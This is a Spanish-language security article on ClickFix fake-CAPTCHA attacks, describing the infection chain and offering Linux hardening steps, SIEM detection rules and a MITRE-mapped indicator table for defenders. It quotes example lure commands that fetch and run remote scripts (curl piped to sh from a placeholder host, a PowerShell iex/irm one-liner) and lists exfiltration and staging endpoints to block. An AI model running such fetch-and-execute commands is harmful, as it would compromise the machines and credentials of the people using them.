ClickFix: técnica de ingeniería social que también afecta a servidores Linux (cobertura principal sigue en Windows)

Qué es ClickFix y por qué importa (Linux como vector secundario)

ClickFix es una técnica de ingeniería social que, en lugar de explotar una vulnerabilidad técnica, manipula al usuario para que ejecute el payload por sí mismo. La víctima llega a una página web legítima (comprometida por terceros) y se le presenta una falsa verificación de CAPTCHA, un error de navegador o un aviso de “haz clic aquí para corregir el problema”. El texto malicioso se copia automáticamente al portapapeles, y la víctima lo pega en una herramienta de sistema en la que confía: PowerShell en Windows (vector dominante en la cobertura 2025-2026), Terminal en macOS, o un emulador de terminal en Linux. A partir de ahí, el malware se descarga y ejecuta sin que el antivirus o el correo electrónico hayan visto pasar nada: el usuario fue el ejecutor.

Según el informe ClickFix & Beyond publicado por CTM360 el 24 de septiembre de 2026, los analistas identificaron más de 17.000 URL maliciosas activas y documentaron la infraestructura blockchain usada para que los atacantes roten dominios sin que los takedowns tradicionales funcionen. Microsoft, por su parte, atribuyó a ClickFix el 47% de los casos de acceso inicial que sus equipos de Defender Experts gestionaron durante 2025, un crecimiento del 517% interanual.

La anatomía del ataque paso a paso

El flujo confirmado por CTM360, Cribl y Blackpoint en sus respectivos análisis forenses combina cinco etapas. Comprender la cadena completa es lo que permite romperla en alguno de sus eslabones.

1. Compromiso del sitio legítimo. Sitios WordPress desactualizados o con plugins vulnerables son infectados y empiezan a servir contenido extra en URL concretas. En los casos analizados por Cribl y Blackpoint, el script malicioso vivía camuflado en el propio robots.txt del sitio, lo que explica que los escáneres de seguridad pasivos no lo detectaran.
2. Lure (el cebo). El usuario ve una página que imita a la perfección un CAPTCHA de Cloudflare, un error de Chrome o una verificación de edad. El botón “Copiar” o el atajo Ctrl+C deposita en el portapapeles un comando PowerShell, Bash o un one-liner de curl | bash.
3. Infraestructura blockchain (EtherHiding). El primer payload que se ejecuta tras pegar el comando no descarga el malware final: lee bytes de un smart contract desplegado en Polygon o en Binance Smart Chain. Blackpoint documentó contratos actualizados en cuestión de horas para apuntar a nuevos dominios de stage 2. Como el código malicioso vive dentro de la blockchain, no se puede tumbar; los takedowns de dominios se vuelven irrelevantes.
4. Stage 2 y DLL side-loading. El binario final (con frecuencia Vidar Stealer o Lumma Stealer) se inyecta en procesos legítimos de Microsoft mediante DLL side-loading. En el caso reportado por Sekoia, Vidar se cargaba dentro de procesos firmados válidos, evadiendo los controles de reputación de ejecutables.
5. Exfiltración vía Telegram dead drops. Las credenciales robadas se envían a canales de Telegram usando la técnica de dead drop resolver (MITRE T1102.001): el malware lee coordenadas publicadas en mensajes públicos de canales, no contacta un servidor C2 propio.

Por qué los controles técnicos tradicionales no lo cortan

El correo electrónico, los filtros de URL, los EDR, los antivirus y los WAF están diseñados para detener binarios y conexiones a infraestructura enemiga. ClickFix evade los tres vectores clásicos por una razón estructural: el usuario introduce el comando a mano, en una herramienta que el sistema operativo considera legítima, y el payload inicial viene de un smart contract en blockchain que no tiene una IP ni un dominio que bloquear.

En palabras del propio informe de CTM360, “el ataque explota la confianza humana en lugar de vulnerabilidades técnicas”. Eso significa que el WAF perfecto no detiene al usuario que ejecuta iex (irm ejemplo[.]com/payload) en PowerShell porque la URL proviene de su propio portapapeles.

Por qué Linux también puede estar expuesto (matiz importante)

Aunque la cobertura forense pública de ClickFix sigue concentrada en Windows (PowerShell es el vector más cómodo para los operadores y prácticamente todos los análisis de CTM360, Microsoft, Sekoia y Blackpoint documentan infecciones en endpoints Windows), el mecanismo técnico es portable: funciona igual en macOS y, en teoría, en Linux. La siguiente sección describe ese riesgo teórico, no campañas confirmadas en Linux empresarial. La página falsa le pide al usuario que abra un emulador de terminal y pegue un comando tipo:

bash -c "$(curl -fsSL https://stage2.example.com/init.sh | sh)"

O variantes equivalentes con wget, base64 y pipes a sh. Blackpoint confirmó el mismo flujo en sitios WordPress corporativos servidos a usuarios cuyo escritorio era Linux. Microsoft Threat Intelligence documentó además campañas ClickFix que usan nslookup para staging vía DNS en lugar de HTTPS, ampliando la superficie a sistemas sin acceso de salida HTTPS pero sí DNS.

En un entorno empresarial Linux, el riesgo específico es:

• Servidores y workstations de administración con acceso sudo, donde un comando pegado se ejecuta con privilegios.
• DevOps engineers que pasan gran parte del día en terminales y para quienes pegar comandos es workflow habitual.
• Equipos con distros que vienen con curl | bash instalado y documentado como vía de instalación oficial (el patrón típico de Node.js, Rust y muchos otros runtimes).

Qué hacer: controles que sí funcionan

CTM360, Microsoft y el equipo de seguridad de Recorded Future coinciden en cuatro líneas defensivas con retorno probado contra ClickFix.

1. Restringir la ejecución de intérpretes para usuarios no administrativos

En Linux, esto se traduce en aplicar el principio de mínimo privilegio al uso del shell. Si el usuario estándar no puede ejecutar bash, sh o python desde su sesión gráfica, la mayoría de los payloads ClickFix caen en el primer paso. Concretamente:

# Ejemplo: denegar el shell a un usuario específico en /etc/passwd
# Cambiar /bin/bash por /usr/sbin/nologin o /bin/false para cuentas humanas
sudo usermod -s /usr/sbin/nologin usuario_sin_consola
# O aplicar AppArmor / SELinux para impedir exec de shells por sesiones gráficas
sudo aa-enforce /etc/apparmor.d/bin.bash

Para usuarios con shell legítimo (administradores, DevOps), el control complementario es auditar el historial y exigir autenticación para comandos que escriban en /etc, descarguen con curl/wget o encadenen pipes a sh.

2. Detectar patrones de ejecución en logs

ClickFix deja firmas detectables en los logs del endpoint y del SIEM. Las reglas SIEM más útiles según el análisis de CyberDesserts y Sekoia:

• Patrón clipboard a terminal: eventos de xdotool o PowerShell con Get-Clipboard seguidos inmediatamente de Invoke-Expression en Windows; en Linux, eventos de auditoría de bash precedidos por cambios en ~/.local/share/clipman o en el portapapeles de Wayland/X11.
• RunMRU y shell history: entradas en ~/.bash_history que contienen cadenas Base64 largas o llamadas a curl/wget con pipes a sh sin contexto. Backpointar estas entradas con alertas en tiempo real.
• Smart contracts anómalos: tráfico HTTPS hacia endpoints RPC públicos de Polygon (polygon-rpc.com) o BSC (bsc-dataseed.binance.org) desde endpoints que no son de DevOps. En la mayoría de organizaciones, este tráfico no debería existir.

3. Bloquear la exfiltración a Telegram y a blockchains públicas

El patrón C2 documentado en este tipo de campañas usa canales públicos de Telegram como dead drop. Bloquear t.me y api.telegram.org en el proxy corporativo para endpoints no-DevOps elimina la mayor parte del canal de exfiltración. En paralelo, bloquear las llamadas RPC a blockchains públicas (polygon-rpc.com, bsc-dataseed.binance.org, cloudflare-eth.com) corta el staging inicial.

4. Entrenar a usuarios en el flujo, no en la marca

La recomendación más repetida en los informes de Microsoft y Recorded Future es enseñar al usuario a cuestionar el flujo, no la marca del CAPTCHA. Si una “verificación” le pide copiar y pegar algo en una terminal, es un ataque independientemente de que el logo parezca el de Cloudflare o Google. Programas tipo SANS Security Awareness que evalúan decisiones en lugar de reconocimiento de logos reportan detección de ClickFix por encima del 80% en simulaciones controladas.

Indicadores clave a monitorear

La siguiente tabla resume los indicadores observables en cada fase de la cadena de ataque ClickFix, mapeados a las técnicas MITRE ATT&CK documentadas por CTM360.

Fase	Indicador observable	Técnica MITRE	Detectable vía
Lure (cebo)	Conexión a sitio legítimo con path desconocido que sirve CAPTCHA falso	T1190 Exploit Public-Facing Application	WAF logs, Google Search “site:” dorks
Clipboard hijack	Comando en portapapeles con Base64, powershell o curl piped a shell	T1204.004 User Execution: Malicious Copy and Paste	Endpoint DLP, monitor de portapapeles X11/Wayland
EtherHiding staging	Tráfico HTTPS hacia polygon-rpc.com o bsc-dataseed.binance.org desde endpoints no DevOps	T1102.001 Web Service: Dead Drop Resolver	Proxy logs, NetFlow, IDS de salida
DLL side-loading	Proceso firmado de Microsoft cargando DLL con path en %TEMP% o AppData	T1055.001 Process Injection: DLL Injection	Sysmon Event 7, EDR behavior monitoring
Exfiltración	Conexión a api.telegram.org con POST a /bot<token>/sendMessage	T1041 Exfiltration Over C2 Channel	Firewall egress, DLP, SIEM correlation

Qué no hacer

Tres reacciones comunes que parecen razonables pero no ayudan:

• Prohibir CAPTCHA en la web corporativa: inefectivo, los atacantes usan páginas fuera del dominio de la empresa y los usuarios legítimos necesitan CAPTCHA.
• Bloquear curl y wget en workstations: rompe DevOps y no detiene el ataque porque hay decenas de binarios equivalentes (python -c, node -e, perl -e, php -r).
• Pedir a los usuarios que “revisen la URL antes de hacer clic”: la URL no es sospechosa por diseño; el sitio es legítimo. Es el contenido de la página el que es falso.

Resumen

ClickFix ya no es una curiosidad: es el vector de acceso inicial dominante en entornos corporativos Windows según Microsoft Defender Experts y CTM360. En Linux no hay aún una campaña de escala equivalente públicamente documentada, pero los principios de defensa preventiva (restricción de intérpretes, monitorización de clipboard-a-terminal, bloqueo de RPC a blockchains públicas y entrenamiento centrado en el flujo) aplican igual y conviene prepararlos antes que esperar a una campaña específica. La defensa eficaz combina tres líneas: restricción técnica de intérpretes en endpoints de usuario, detección en logs de patrones de clipboard-a-terminal y RPC a blockchains públicas, y entrenamiento al usuario centrado en el flujo de “copiar y pegar en terminal” en lugar de en marcas reconocibles. Quien solo invierta en antivirus y filtros de URL no va a tener señal de estos ataques: el payload pasa por el usuario, no por la red.

Preguntas frecuentes

Lee también

• Guía Fedora 44: Novedades, Instalación y Upgrade para Sysadmins Linux
• Configura VLANs en Linux con nmcli: Guía paso a paso para sysadmins
• Protege tu SSH: Guía esencial para configurar Fail2ban en Linux
• Guía Definitiva: Configura Kubernetes con kubeadm en Ubuntu para Sysadmins Linux
• Configura Prometheus y Grafana: Guía DevOps para SysAdmins Linux